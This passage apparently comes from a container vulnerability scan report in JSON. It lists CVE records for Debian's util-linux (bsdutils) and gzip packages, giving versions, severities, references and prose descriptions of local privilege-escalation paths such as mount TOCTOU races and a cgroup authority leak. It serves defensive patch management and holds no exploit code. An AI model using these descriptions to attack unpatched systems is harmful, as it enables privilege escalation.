"https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1648705eaf6925f230ce76367ce33bd75b6bb8f31efd00b8ad955a0962b3f417", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c5150d52682f98d7c162554e2afe23989638ffd0df4ed6b6e918693463fcc793", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0be1186a5351fe7b474286b64c1b139f418ee26b87f0f5e9936b0d4e5d954d97", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c8c69b7c436e35cc98305e0bf099a33f2f838b838af7ed18020a29a33e885338", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b799bd36d0d98516860b53f12711d44b050f497b34f984c9188af7f70bfd061b", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56b8b0da119bfadbf43e9d3fb21477ffd2a48705e662b0250f35bbd438e11ca3", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff5b853f9be67a7d06fa9d1b2582cb0147287c7ac3b78327119abf8caf5106d1", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-41992", "PkgID": "gzip@1.13-1", "PkgName": "gzip", "PkgIdentifier": { "PURL": "pkg:deb/debian/gzip@1.13-1?arch=amd64\u0026distro=debian-13.6", "UID": "954545ce99bc687e" }, "InstalledVersion": "1.13-1", "FixedVersion": "1.13-1+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41992", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:21902354baf0571befa5184b6d391dff39be6a3d60dc2fd24c6794cbcc78426f", "Title": "gzip: gzip: Information disclosure via global buffer overflow in LZH decompression", "Description": "GNU gzip contains a global buffer overflow vulnerability in the LZH decompression logic caused by improper reuse of shared global state between different decompression formats within a single execution. GNU gzip maintains a global array that is shared across the LZ77, LZW, and LZH decompression routines and is not reinitialized between files processed in the same invocation.\nBy decompressing a specially crafted LZW file followed by a specially crafted LZH file in a single gzip -d command, an attacker can poison the shared global state and subsequently trigger an out‑of‑bounds read in the LZH decoder. The LZH decompression logic follows stale values left in the shared array, causing reads past the end of the allocated global buffer.\n\nThis issue has been fixed in commits 